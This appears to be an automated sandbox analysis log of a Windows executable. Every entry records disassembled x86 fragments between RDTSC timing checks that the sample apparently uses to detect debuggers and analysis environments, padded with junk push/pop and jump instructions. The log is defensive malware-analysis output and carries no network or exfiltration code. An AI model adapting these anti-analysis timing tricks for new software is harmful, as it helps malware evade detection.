Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563A2E second address: 563A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563A32 second address: 563A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563A36 second address: 563A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563A41 second address: 54C832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 js 00007FF67050A38Dh 0x0000000f jmp 00007FF67050A387h 0x00000014 lea eax, dword ptr [ebp+1247780Fh] 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FF67050A378h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 push eax 0x00000035 jmp 00007FF67050A388h 0x0000003a mov dword ptr [esp], eax 0x0000003d push edi 0x0000003e adc dx, E221h 0x00000043 pop edi 0x00000044 call dword ptr [ebp+122D315Ch] 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jg 00007FF67050A376h 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563E30 second address: 563E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563E34 second address: 563E38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563E38 second address: 563E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FF670C3B918h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563E4A second address: 563E54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FF67050A376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564088 second address: 56409A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B91Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564216 second address: 56421A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56421A second address: 564231 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF670C3B916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jo 00007FF670C3B920h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564231 second address: 564240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564240 second address: 56426E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF670C3B91Ch 0x00000008 jnl 00007FF670C3B916h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push ecx 0x00000013 push eax 0x00000014 jmp 00007FF670C3B91Bh 0x00000019 pop eax 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 jnp 00007FF670C3B916h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564551 second address: 564558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564934 second address: 56496D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 jg 00007FF670C3B91Ch 0x0000000c mov edx, dword ptr [ebp+122D396Ah] 0x00000012 push 0000001Eh 0x00000014 or di, 0C98h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jo 00007FF670C3B92Dh 0x00000022 jmp 00007FF670C3B927h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564C67 second address: 564C6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564C6D second address: 564C95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5ABC6F second address: 5ABC74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5AC0B6 second address: 5AC0BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B121E second address: 5B122D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF67050A376h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B122D second address: 5B1233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B1233 second address: 5B1237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 51912F second address: 51913C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF670C3B916h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 51913C second address: 519149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF67050A376h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B0E06 second address: 5B0E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B0E0C second address: 5B0E10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B0E10 second address: 5B0E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B0E16 second address: 5B0E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B0E1F second address: 5B0E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B40BA second address: 5B40C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B40C0 second address: 5B40C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B40C8 second address: 5B4117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A389h 0x00000007 jmp 00007FF67050A383h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF67050A37Fh 0x00000015 jmp 00007FF67050A37Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 529CF9 second address: 529CFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5B65C8 second address: 5B65E3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF67050A37Ch 0x00000008 js 00007FF67050A376h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF67050A37Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5230FD second address: 523120 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF670C3B916h 0x00000008 jmp 00007FF670C3B925h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 523120 second address: 523124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 523124 second address: 523128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 523128 second address: 523130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BA911 second address: 5BA91B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF670C3B916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BA91B second address: 5BA92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FF67050A37Ch 0x0000000e je 00007FF67050A376h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BABAA second address: 5BABB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BABB4 second address: 5BABDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FF67050A37Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FF67050A382h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BAF95 second address: 5BAFAF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF670C3B924h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BAFAF second address: 5BAFDF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF67050A37Ch 0x00000008 jo 00007FF67050A376h 0x0000000e jbe 00007FF67050A378h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF67050A386h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BAFDF second address: 5BAFE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 564774 second address: 5647BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D321Dh], eax 0x0000000e pushad 0x0000000f jns 00007FF67050A37Ch 0x00000015 popad 0x00000016 push 00000004h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FF67050A378h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 and edi, dword ptr [ebp+122D39BAh] 0x00000038 push eax 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BFE07 second address: 5BFE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BFE0B second address: 5BFE15 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF67050A376h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BFF47 second address: 5BFF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF670C3B929h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f jnl 00007FF670C3B916h 0x00000015 jmp 00007FF670C3B91Fh 0x0000001a jmp 00007FF670C3B924h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5BFF95 second address: 5BFFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jng 00007FF67050A376h 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF67050A37Eh 0x00000016 jmp 00007FF67050A389h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5C028A second address: 5C029D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CBC9F second address: 5CBCA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CBCA5 second address: 5CBCBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF670C3B91Ch 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CBCBD second address: 5CBCCB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FF67050A376h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 51FB15 second address: 51FB1F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 51FB1F second address: 51FB23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 51FB23 second address: 51FB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 51FB29 second address: 51FB30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5C9F83 second address: 5C9F88 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5C9F88 second address: 5C9FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF67050A385h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF67050A387h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5C9FBD second address: 5C9FC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5C9FC2 second address: 5C9FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5C9FCA second address: 5C9FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5C9FD3 second address: 5C9FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CA434 second address: 5CA453 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF670C3B922h 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CA453 second address: 5CA457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CAF03 second address: 5CAF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CAF0C second address: 5CAF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CAF12 second address: 5CAF27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF670C3B916h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FF670C3B916h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CAF27 second address: 5CAF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CAF2B second address: 5CAF2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CB9E9 second address: 5CBA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF67050A387h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CBA05 second address: 5CBA0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FF670C3B916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CFC5C second address: 5CFC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jbe 00007FF67050A376h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CEE56 second address: 5CEE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FF670C3B916h 0x0000000c popad 0x0000000d jmp 00007FF670C3B91Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CEE71 second address: 5CEE76 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CEFB6 second address: 5CEFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF670C3B91Ch 0x0000000a jno 00007FF670C3B916h 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FF670C3B916h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CF23D second address: 5CF24D instructions: 0x00000000 rdtsc 0x00000002 js 00007FF67050A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CF24D second address: 5CF25D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FF670C3B91Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CF4D5 second address: 5CF4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FF67050A37Fh 0x0000000b pushad 0x0000000c jne 00007FF67050A376h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CF4FC second address: 5CF500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CF6B7 second address: 5CF6E2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF67050A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FF67050A386h 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007FF67050A37Eh 0x0000001a ja 00007FF67050A378h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CF6E2 second address: 5CF6F0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF670C3B918h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CF805 second address: 5CF827 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF67050A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF67050A385h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5CF95B second address: 5CF95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5DB260 second address: 5DB26C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jp 00007FF67050A376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5DB26C second address: 5DB276 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF670C3B91Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5DB9BA second address: 5DB9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF67050A376h 0x0000000a rdtsc
